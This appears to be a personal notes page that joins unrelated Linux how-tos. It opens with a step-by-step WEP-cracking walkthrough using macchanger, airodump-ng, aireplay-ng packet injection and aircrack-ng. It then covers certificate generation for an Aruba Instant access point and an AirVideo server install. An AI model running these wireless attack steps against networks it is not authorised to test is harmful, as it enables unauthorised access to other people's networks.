Don’t forget admin/password is blank by default for first time use

Should you choose to, spoof your mac-address on that interface
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger --mac 00:11:22:22:11:00
airmon-ng start wlan0

Lets see whats on the air: (broadcast and silent)
airodump-ng mon0
mon0 is the monitor interface for some wlan0 interfaces

Now to capture some packets…
airodump-ng -c 11 -w monitor.txt --bssid xx:yy:zz:zz:yy:xx mon0

What does this do again?
aireplay-ng -1 0 -a xx:yy:zz:zz:yy:xx -e ssid-name mon0

Now to increase the likelyhood of getting the information we want by generating some traffic
aireplay-ng -3 -b xx:yy:zz:zz:yy:xx -h 00:11:22:22:11:00 mon0

Leave this until #Data is well in excess of 10,000 and ensure that the PWR level is around -30 (definately less than -50 or you will be there al night and it may still not work)

When you think the cake is ready, pull it out of the oven and quickly test with:
aircrack-ng -b xx:yy:zz:zz:yy:xx monitor.txt-01.cap

If its ready it will display your newly decrypted WEP key! If not, chuck it bak in the oven until #Data clicks over another 5,000

In total this can take anywhere between 15mins to 15hours

Execute the following commands from the /usr/lib/ssl/misc directory. While executing these commands you will be asked questions about the country code, state, organization etc. Answer these questions appropriately. You will also be requested for a PEM passphrase which is used to protect the key. The CN for this key will be the Virtual Controller’s hostname

1. Generate a Root CA Certificate

root@box#./CA.pl –newca

This command will generate a cacert.pem in /usr/lib/ssl/misc directory. This is the certificate Authority (CA) file. The cakey.pem file can be found in /usr/lib/ssl/misc directory.

2. Generate a server Certificate

root@box#./CA.pl –newreq

This command will generate a certificate request (csr). You will get a “newreq.pem” and “newkey.pem” file. The newreq.pem is the new request and the newkey.pem is the key generated for this request. The files newkey.pem and newreq.pem will be found in the /usr/lib/ssl/misc directory.

3. Sign the server certificate with the Root CA

root@box#./CA.pl -sign

This command will sign the new request with the CA. It will take “newreq.pem” and sign it against “cacert.pem”, and you will get “newcert.pem”. The file newcert.pem will be found in the /usr/lib/ssl/misc directory.

4. Concatenate the RSA private key and the signed server certificate (This part is Important! without this the Internal RADIUS server will see this as an invalid certificate and just timeout on all RADIUS Requests)

root@box#cat newkey.pem newcert.pem > finalcert.pem

This command will combine the signed cert with the newkey.pem generated in step (b) to produce the server certificate named finalcert.pem. The file finalcert.pem will be found in the /usr/lib/ssl/misc directory.

Aruba Instant has a requirement on this certificate – it should include both the signed server certificate and the private RSA key for the certificate and the key should be put at the very beginning of the file.

5. Load the certificate on Aruba Instant

The finalcert.pem certificate certificate should be loaded to the certificate section in the webUI of the Aruba instant AP.

1. Add this ppa: https://launchpad.net/~rubiojr/+archive/airvideo(support Ubunu 10.04, 10.10, 11.04) by:

sudo apt-add-repository ppa:rubiojr/airvideo
sudo apt-get update

2. Now install airvideo-server by typing:

sudo apt-get install airvideo-server

3. libssl1.0.0 is required for airvideo-server, but is only avaliable for download here
Or, do the following to add 11.10 repository

sudo nano /etc/apt/sources.list

add the following line to the end of the repo list:
deb http://ubuntu.mirror.cambrium.nl/ubuntu/ oneiric main

refresh the apt-get and install libssl1.0.0
sudo apt-get-update
sudo apt-get-install libssl1.0.0


4. Edit the config file to point to your media directory:
sudo nano /opt/airvideo-server/AirVideoServerLinux.properties

folders = Movies:/Volumes/Data/Movies,TV:/mnt/airvideo-nas-share/tv

To point airvideo to a netshare, just mount the network device on the airvideo server machine:

1. Create a mount point for your share

mk dir mnt/airvideo-nas-share/tv cifs

1. edit /etc/fstab
   sudo nano /etc/fstab

1. add the network device, its mount point and the network credentials to access it

//server-name/shared-folder mnt/airvideo-nas-share/tv cifs user=share-user,password=share-password 0 0


1. reload /etc/fstab to mount the share

sudo mount -a

Open to better options on how to do this…

5. Add airvideo-server to UpStart
sudo nano /etc/init/airvideo.conf Not ‘init.d’

start on runlevel [2345]
stop on shutdown
respawn
exec sudo -H -n -u root /usr/bin/java -jar /opt/airvideo-server/AirVideoServerLinux.jar /opt/airvideo-server/AirVideoServerLinux.properties

Now AirVideo can be started, stopped and restarted with:
sudo start airvideo

6. Bounjour (via Avahi-Daemon)
sudo nano multi.service

Add the following lines:

<?xml version="1.0" standalone='no'?><!--*-nxml-*-->
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">

<service-group>

<name replace-wildcards="yes">AirVideo on %h</name>
<service>
<type>_airvideoserver._tcp</type>
<port>45631</port>
</service>

</service-group>

8. Download AirVideo Player from the app store. Buy it, its worth it

Addig Linux devices to AD snipped from: “http://blog.scottlowe.org/2007/07/09/linux-ad-integration-with-windows-server-2008/” Helpful?